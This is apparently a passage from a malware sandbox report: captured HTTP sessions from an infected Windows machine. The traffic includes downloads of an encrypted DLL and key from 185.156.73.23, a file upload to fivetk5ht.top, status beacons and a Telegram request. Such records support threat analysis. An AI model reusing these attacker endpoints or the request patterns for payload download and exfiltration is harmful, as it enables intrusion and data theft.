Dec 21, 2024 10:16:20.561225891 CET	2472	OUT	Data Raw: 5e ab 74 22 5f 09 ee 7b 6a bb 6e bb 43 93 c9 a1 24 88 1e 9e 26 2c d1 0c 73 85 4d 36 d2 60 40 8d 29 ab 81 64 bd 37 1f 45 05 30 f6 51 c5 2a f2 74 76 af 34 8f bd b6 d3 51 6f e8 84 cf 24 ad 10 f3 c6 4d f5 b3 d7 32 77 e5 6b 90 03 b5 2b 1c 8f 1e d5 fa Data Ascii: ^t"_{jnC$&,sM6`@)d7E0Q*tv4Qo$M2wk+G;zNZRWmE<]V=OX3x,a[\#l"$Ud=HZ7"%RF3Dz8:!Lx~bP7 '
Dec 21, 2024 10:16:20.561268091 CET	2472	OUT	Data Raw: 6e 66 92 e3 ec 2e 6e 74 1d 76 ab a3 e3 df ca 5c ff b8 c6 e4 64 c6 88 47 6e 3e 5c 2f 8c 39 ca cd aa 81 21 2a 2c 23 e6 9f 0b c9 36 75 01 87 75 f3 0e 51 ad 0b 0f 49 e0 df 01 22 d1 1f 2a e3 e7 4f 73 b9 d5 7b 8c cb 72 83 00 1a e4 fd c5 73 e4 e2 26 36 Data Ascii: nf.ntv\dGn>\/9!,#6uuQI"Os{rs&6*2O"BaQP?1W?}iDRsbO:knS Q3j0;Tw%L{e42IG(,#5&/3N#[kI3tKD
Dec 21, 2024 10:16:20.561470985 CET	2472	OUT	Data Raw: c5 0d d1 bd 01 05 34 04 d6 83 36 8a 77 2b e9 a6 68 5f 06 e2 49 30 c5 31 51 b8 b0 62 99 50 1e 19 e8 e5 f5 3e ae ac a3 86 40 2f 94 be 98 4d 38 d2 14 b8 cd a6 76 65 27 fe 93 e9 c3 08 50 2a 37 23 0c 21 9e 8c 18 dc 35 17 4d 3e f5 43 1e a2 94 5a fa bf Data Ascii: 46w+h_I01QbP>@/M8ve'P*7#!5M>CZm]1P~w'hc~y\SWH@09D]0[Z#8912h?}=R\R7T$IAORuh7CZMV0SDVkD Y3I
Dec 21, 2024 10:16:20.561496973 CET	2472	OUT	Data Raw: 32 af da ec 15 75 de a8 30 66 18 cb 0e 30 cc 15 14 95 b2 3d 8a 51 5a a8 3f a3 fe bd 44 95 fd 9a a7 83 1c 7c 62 f0 a8 b6 1a e7 62 4e a1 51 6b 76 cb e9 a4 ac 86 0a 28 cf 13 15 0a 0d 4e 28 19 fc ba dd e3 84 bc bf d1 b2 5b e3 8d 12 89 db 90 0e 3f 5b Data Ascii: 2u0f0=QZ?D\|bbNQkv(N([?[1addtP"e+J/,TpwQa1mEig=!gN.in5'>3PG2LgaZnSt>9jl{o[=4 CPhW>pyMh@BoB
Dec 21, 2024 10:16:20.561508894 CET	2472	OUT	Data Raw: e7 16 c5 e1 07 f6 2d 30 cc 4f 94 c6 f6 da 40 10 09 3a 31 47 39 39 96 24 55 4d fb f1 dd 47 5c 47 a6 ee d4 c3 06 eb 38 95 ee a3 71 6e d9 cb 78 34 3e 27 19 c9 fd b5 82 f2 09 8a 03 cb a1 fc 0e 92 a7 e3 b5 dd 7b 47 84 7c 13 71 b0 df 87 43 68 57 83 a3 Data Ascii: -0O@:1G99$UMG\G8qnx4>'{G\|qChWT@}t#6,'[%ILdb!#^s7?mw'PK1@0dt\Sv>DQ.#=9E>5LZrF>iFEHl"R6e9Mp"72C,.
Dec 21, 2024 10:16:20.561562061 CET	2472	OUT	Data Raw: 62 d6 b4 a6 b2 75 ba fe 82 7b a7 70 a9 98 ee a2 e1 5b 4b 19 98 6e 23 ea 9a 24 41 e1 ee 31 c9 0e 63 82 07 91 33 83 2f 52 b5 00 9f ac f4 4a c0 6c c1 a3 fb 92 9c c8 1e 89 60 d2 92 95 06 bb 08 b1 9e e2 44 56 be 59 b3 c4 11 ef 5f 42 0a 98 d8 5a 08 d5 Data Ascii: bu{p[Kn#$A1c3/RJl`DVY_BZy2:lacncklq4TCo**<+Hw^.1z` 6~^'lh3'"N#g~E)?<4>a-VqA.Oop
Dec 21, 2024 10:16:20.561636925 CET	2472	OUT	Data Raw: 43 01 5d 11 03 02 9d c5 b1 f1 f0 2f 4c 08 62 e7 30 75 6a fa 85 c7 4a 0a 55 14 ce f2 44 0d d0 3b 68 e9 91 4d bf c3 66 ed 96 15 1e 87 67 d4 f5 2b 1f d8 8f cb 12 0b 41 31 f4 57 94 bb c2 52 42 e9 64 42 49 a5 bf 03 a0 2e e7 30 6e 3c a5 5f e0 08 5f 73 Data Ascii: C]/Lb0ujJUD;hMfg+A1WRBdBI.0n<__s-9p!ItC@8xv=NZ8['/G71i/P}6+0W9M~%s"JtyxX:HS9Igr{}]8A+FlQi?W
Dec 21, 2024 10:16:20.561671019 CET	2472	OUT	Data Raw: 2b b2 d3 3f c7 c3 e7 cd a0 ca 2e 51 38 56 f0 e7 eb 3c af ef c8 fd 87 2e cc 96 4d 04 2f e0 79 3c 75 0a 8d 8f 0a 55 2d c2 cd 73 18 c7 94 57 22 ff cd 5a 5f 67 e7 f1 e9 c6 56 5a b4 a5 4a 6d 05 79 2c a7 77 ed d2 22 5d 23 8b 69 2c c9 44 af c2 6e 63 ed Data Ascii: +?.Q8V<.M/y<uU-sW"Z_gVZJmy,w"]#i,DncI@rI6X3qc,asJ1]gJ_{Q#@ub^[V!aoJrkS,x-E~"3V"8-bOYXO}qte{o]R%_k@R3%eu#D
Dec 21, 2024 10:16:22.218431950 CET	274	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Dec 2024 09:16:21 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 28 X-RateLimit-Reset: 1734774379 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49987	185.156.73.23	80

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 10:16:21.611881971 CET	414	OUT	GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 21, 2024 10:16:22.971734047 CET	204	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 09:16:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 21, 2024 10:16:22.987004042 CET	388	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 21, 2024 10:16:23.462034941 CET	224	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 09:16:23 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Dec 21, 2024 10:16:23.519956112 CET	393	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 21, 2024 10:16:24.075624943 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 09:16:23 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
Dec 21, 2024 10:16:24.075647116 CET	1236	IN	Data Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(uccgv@M)nL
Dec 21, 2024 10:16:24.075670004 CET	1236	IN	Data Raw: 44 70 21 ac fa dd 10 12 6c 8f df 8d 2a 52 37 0a bc 2b 32 e0 ca d2 85 4a 5e 2a bb 89 27 6f b7 ed ec 11 16 da 35 88 e8 c7 a0 fb 57 12 bc ee 7b 8e 20 56 98 d0 5f d5 fa 6e b8 a6 bb 07 ab 54 57 ec 21 3a 2e 06 6d 3f c9 25 6c 63 ce e7 5a 5e c2 32 24 bd Data Ascii: Dp!lR7+2J^'o5W{ V_nTW!:.m?%lcZ^2$2[#LeCe+: rUz(-dFI?[VH0-!{</Bge!ygJZ=XwPMeh5]Bki'\L4u
Dec 21, 2024 10:16:24.075762987 CET	672	IN	Data Raw: 42 47 80 86 ae 70 77 dd c9 a4 43 ea 79 cc 36 24 d5 a0 a8 68 e2 19 03 24 ed 93 0c db 15 78 2a 88 5a 7c 59 51 fe c6 7c 01 35 8f e1 23 99 84 04 00 e3 d2 e6 6e e4 8f 85 26 21 77 40 81 44 b6 9f 1d 75 1d 8d 68 73 3a 7c 42 46 c1 18 9b 47 fd 90 63 33 b4 Data Ascii: BGpwCy6$h$xZ\|YQ\|5#n&!w@Duhs:\|BFGc3_^MH_FJn-U,e?lzR3Ib=nuH_x}q^6vP2'\:)j!gJH:yA".E<tj)>N]
Dec 21, 2024 10:16:24.075808048 CET	1236	IN	Data Raw: 5a 4e 90 47 87 8d 31 4d 04 f3 b2 8f b5 ec 0b 34 86 f5 8a 59 cc e1 31 db ef 09 6f 5f de 50 ce 55 7c bf 37 d2 26 b8 77 5e 1f 27 ab 58 1f ee ce 9b bf 8d 85 b2 80 b7 5a 06 25 9d b3 27 1c c8 e3 6c 36 e5 a3 7d 22 17 b3 13 00 d6 07 77 28 09 24 fc 89 30 Data Ascii: ZNG1M4Y1o_PU\|7&w^'XZ%'l6}"w($0_g8^T1bf4n\vl)OCoKaC#/\|fZyhc7LY=T(b8be@yo~YN_ozIe_*%BH1uObUR\|aXyt
Dec 21, 2024 10:16:24.075824976 CET	1236	IN	Data Raw: c0 da 67 42 4f 24 35 da 00 c2 9f 29 69 11 0c 49 94 a6 a7 92 c3 e7 14 45 de 79 b3 d8 e2 24 85 e6 7e c2 2a ec 32 fa 5b b8 db e4 ea 7c 97 4e cb e1 cc b0 1d f4 fb a3 05 75 fa 46 d0 b4 ab dc eb 81 ad f1 f2 0d 38 68 4a c0 b6 50 cd d7 bc 1f fb 5d 2b cf Data Ascii: gBO$5)iIEy$~*2[\|NuF8hJP]+P\|;3a__JnSgph=jkKOT3e13USC'{XJdey_ p[P<M%5:,rFTgYIR)"<N3ei-IQvtB
Dec 21, 2024 10:16:24.075841904 CET	1236	IN	Data Raw: ed f5 bb 67 1c b0 2e 96 1b 41 e2 4b e0 d0 c0 32 d7 54 d0 57 51 be 23 33 85 40 1d 3e 06 84 94 eb 5a 77 62 51 fd 8a 8b fe 9b 5e 14 3c 3b b6 5d 0d 8f 18 29 53 7a e3 4a 54 9e 1e 8f c8 d7 2e 61 9b 87 bb e4 ef bd c8 ac 33 94 fa df 50 e0 e1 f7 4e ef 39 Data Ascii: g.AK2TWQ#3@>ZwbQ^<;])SzJT.a3PN9Yn(X"h!rrn~O+;}?jjo-?1RXUC\|B\n2/}=.H,/Ta@IEh8\|[cbNVNzcY".n$GA
Dec 21, 2024 10:16:24.075859070 CET	1236	IN	Data Raw: 1a 2a 62 b4 ae 8a 5b 82 f2 2e 8d 4c f7 bc 4a 54 d2 2f 9c 5e d2 78 32 e3 23 07 42 8b dd c1 ad 98 37 2e 4a db d1 95 b9 bb 1a f0 cf e7 16 4b fc ec 93 ab e6 08 7e 4b 49 dc 0d 53 c5 8e 5f f2 c2 11 55 dc 53 1e 24 d4 8f 7e fa 25 60 68 8f b2 67 bd 27 d8 Data Ascii: b[.LJT/^x2#B7.JK~KIS_US$~%`hg'?CW[MQHSB-v0< c\tMc[T4Auxxc+hMgC]`=o8M}k+B[5Nx62G(%OrKv5H0Uq`42p0;U&
Dec 21, 2024 10:16:24.084127903 CET	1236	IN	Data Raw: 40 1b 4a eb 32 76 5f d3 fb 39 60 50 11 2c ac 7f 75 d5 41 17 9a ba 9a a5 65 e4 39 e7 ee 7b 3f e7 8d d7 54 c2 a5 72 c0 54 8a a5 b2 41 0c fc b8 f8 a6 99 6c 72 12 a8 98 67 28 3b fc fc c1 a9 30 6d fe 11 b8 f9 56 53 85 81 29 cb 26 d1 c8 94 83 58 a5 3c Data Ascii: @J2v_9`P,uAe9{?TrTAlrg(;0mVS)&X<V\/Z~_Jp;JOU6VQ9_n-\jsk7rixa#vyC\<7ws583v=w,"Zf`>]6%""4Y8}p+[a
Dec 21, 2024 10:16:24.084254980 CET	1236	IN	Data Raw: 2b 67 00 6f 36 93 8b 8f 53 25 a3 ee f6 cc 1a d2 6d 3a a3 c7 1f 80 c8 43 65 da 7d 01 a3 c8 c6 08 e5 c2 f8 af 3d 9e 77 c1 ae 46 51 3f 02 02 8d 16 23 36 00 5e 2a 1d fc e1 36 a7 cc 4b 30 26 1d 8f 5f 45 f5 89 69 ff aa 98 7d 6d 1c a5 a0 d0 73 f1 10 df Data Ascii: +go6S%m:Ce}=wFQ?#6^6K0&_Ei}ms' 0u't0h[9wBN:DGT;^WbIYzFs=fu.itu C{`94gkda6U#VoTT<{T
Dec 21, 2024 10:16:24.092713118 CET	1236	IN	Data Raw: 63 18 c8 72 df a1 6f 49 6a f7 b6 ad 79 a5 cb 10 f5 ba e2 81 be e8 98 eb cc 6a 47 b3 45 85 09 0a 51 41 d8 51 2e bf 8c e7 c3 62 33 e4 7a bc 48 a7 e3 3b ff 37 5b c4 d6 52 a2 3f 62 26 3d 5a 7d cc 42 14 fd 13 48 12 28 2d 1e bf 75 4b 44 6e 94 56 05 63 Data Ascii: croIjyjGEQAQ.b3zH;7[R?b&=Z}BH(-uKDnVc]F?`(&z=eSO'gu)#=~Dr?_Ekx yCS<0k{)QtDuuM5:1hJ5A\*3x>olqm%
Dec 21, 2024 10:16:24.715560913 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 21, 2024 10:16:25.201180935 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 09:16:24 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 21, 2024 10:16:27.284060955 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 21, 2024 10:16:27.781708956 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 09:16:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 21, 2024 10:16:29.847032070 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 21, 2024 10:16:30.336793900 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 09:16:30 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 21, 2024 10:16:32.440237045 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 21, 2024 10:16:32.924386978 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 09:16:32 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 21, 2024 10:16:35.018739939 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 21, 2024 10:16:35.513111115 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 09:16:35 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	50016	185.121.15.192	80

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 10:16:28.768042088 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fivetk5ht.top Accept: / Content-Length: 23417 Content-Type: multipart/form-data; boundary=------------------------3zXVqf4kXi7E91GDY4p7Ud Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 33 7a 58 56 71 66 34 6b 58 69 37 45 39 31 47 44 59 34 70 37 55 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 61 6e 65 64 69 68 65 63 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 38 6c 43 9b cf 16 9d 4e 5b ee 76 57 f5 45 9a 5b 68 83 d7 21 45 b9 09 51 53 a1 2a 22 92 5d 30 98 1f 3a 9f b1 f0 ea f2 f5 d7 be 0f 30 67 83 49 a8 30 44 de 12 3c 92 38 cd 35 9f 1c 84 01 4f 53 e4 7d 30 f8 4e 01 49 71 14 44 f3 87 6e c9 18 5c a3 80 16 ef d8 a7 aa bc 69 fc b7 20 fc 31 9d e7 7a 71 70 c8 43 87 9c 80 0e a4 31 61 66 da 04 f0 6c 2b c9 6a 29 7d e9 d3 6b 4c 8e bc 81 d9 4a 2e bf d4 d8 af 59 41 6c 48 35 92 f3 50 c8 a1 5f 4e 07 7b 5f 95 ea bf df 83 cb b2 eb 3d 8b 3a 22 e7 7d 46 1a d1 1d c9 81 63 be de 21 85 5e 53 48 [TRUNCATED] Data Ascii: --------------------------3zXVqf4kXi7E91GDY4p7UdContent-Disposition: form-data; name="file"; filename="Banedihec.bin"Content-Type: application/octet-streamB8lCN[vWE[h!EQS"]0:0gI0D<85OS}0NIqDn\i 1zqpC1afl+j)}kLJ.YAlH5P_N{_=:"}Fc!^SHBFfF<>,]lM</'`P@!z+t`'^VCF#}u0].&/BfN`E;9_"lR;z?`sa?MdDA3Iv^(EicA>9JWP,!Q+Mo1}Fn{0vONg;T8VBX%5idB~EVws7y<jzZ:KL%(^$O'jo<EgAXi[h\|mgl[&`Q-F[#K;CIprJ4@^q6CFq%,@0ZsZ#ZQ==:N SP4C}IU(W3d@[\|isNV?MJ.hgf;6AC"WoFbdkzgjrqALS2qQhH\|ua[O#@lBQ'+;]$wPMknNR!=g [TRUNCATED]
Dec 21, 2024 10:16:28.887979031 CET	2472	OUT	Data Raw: 75 ae 66 9a 2a b8 8c d2 e5 66 c5 a7 55 a6 c0 52 a3 25 ab 1a e6 7f 14 9a dc ee 2d f4 48 a8 b7 a3 3d a1 be af e0 97 a3 d3 b8 6e 0b 33 75 81 dd 76 6a 82 12 d8 f4 48 5b 45 4a 31 aa 84 be a4 a7 4a 50 43 20 a4 fe 90 2c b3 39 ab 28 06 db d8 e1 9c b9 cb Data Ascii: uffUR%-H=n3uvjH[EJ1JPC ,9(5:vJ\5wlsk7Y\|hZKa)6%m ErWLgkl6ePRoQLKh-h/?w984#EOd3k
Dec 21, 2024 10:16:28.888062000 CET	2472	OUT	Data Raw: 09 fa b4 1c 14 5e b0 24 5b 2e 2f d8 e0 09 ab 87 e0 22 b7 7a 5c ad 8e 71 0e 13 2e bd f8 9a 4d ba 70 2f a4 ff 20 ce d6 4d 70 b7 eb 72 e7 28 1c 28 af 58 69 12 fd b2 4f c1 e8 6a e2 37 98 f8 5f ab 55 48 79 06 b4 64 0c f1 d7 f4 12 c7 f4 dd 0b 24 3b c1 Data Ascii: ^$[./"z\q.Mp/ Mpr((XiOj7_UHyd$;e>k#A\|rvuxrH*`-'amvI08'9KO]lbx%)aMN:R9nSLf"BG'?BT}ixoEiOt<J_`yzt?1
Dec 21, 2024 10:16:28.888091087 CET	2472	OUT	Data Raw: cd 63 8e f3 c6 80 41 8c 91 68 15 b9 49 5f fe bc 38 f4 85 58 66 85 ae ac 93 de 47 e7 d4 a5 bb 57 75 4c d7 21 c3 a2 a3 cd 8b 89 92 31 99 a3 d7 6c 5e bc da 69 e4 d7 70 01 d6 10 2a a7 3f 63 2e 63 50 4d ac fc 38 f7 10 a2 78 85 50 75 92 04 77 a2 dc ef Data Ascii: cAhI_8XfGWuL!1l^ip?c.cPM8xPuwE9R/`{#lpG-a<ie(yK3#1W#+9^L=50;z {IchY~5t>{#aOj~#6iuY>q)2([ a,!hA54
Dec 21, 2024 10:16:28.888118982 CET	2472	OUT	Data Raw: 92 a6 07 b6 1d e6 22 76 d0 3c 3b 7d f9 45 23 30 eb 3b 47 e1 c0 87 f7 00 fe 00 05 6b c5 da b4 1c fa f2 30 d7 9a 1e 2c 53 a8 9a 06 8b ac a7 64 b0 ba 55 b4 4c 5c 19 46 c8 8f 0f 0b b0 4e 1b 65 11 4c a0 ea a4 77 6a cd a6 7f f1 38 81 18 33 be 3a d7 f7 Data Ascii: "v<;}E#0;Gk0,SdUL\FNeLwj83:@@@_\|@1, =kS3v4KOX(xA`P`nK})oMrA@=84=06{'>0+]N'.o~s,YYyk
Dec 21, 2024 10:16:28.888250113 CET	1350	OUT	Data Raw: 45 19 2e 78 19 70 a3 a0 97 85 5c ac b6 f3 13 5b f2 b8 c1 19 09 2f 37 34 34 04 5a 96 37 16 d8 a7 70 13 2d 5c eb 53 02 6a e6 1d 54 a0 98 8f 5a 85 17 41 8c 87 e3 9e ff 77 3c f5 0f 57 7a fa fb ae b9 a3 8d 90 fb 14 17 01 35 88 14 a6 87 c5 6d 2c b6 f3 Data Ascii: E.xp\[/744Z7p-\SjTZAw<Wz5m,\|4(f1}Atk/wPTMy5g:pU;D5Cip<$4mhHf\NHt aPAp58GI6gCx{ m
Dec 21, 2024 10:16:30.318531036 CET	274	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Dec 2024 09:16:30 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 27 X-RateLimit-Reset: 1734774379 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	50024	185.121.15.192	80

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 10:16:31.658828974 CET	196	OUT	POST /zldPRFrmVFHTtKntGpOv1734579851 HTTP/1.1 Host: home.fivetk5ht.top Accept: / Content-Type: application/json Content-Length: 56 Data Raw: 7b 20 22 69 64 31 22 3a 20 22 63 49 65 4a 76 65 70 42 4a 65 77 72 67 61 46 77 31 37 33 34 37 37 32 35 34 35 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "cIeJvepBJewrgaFw1734772545", "data": "Done2" }

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49823	149.154.167.99	443	8124	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:15:34 UTC	85	OUT	GET /k04ael HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
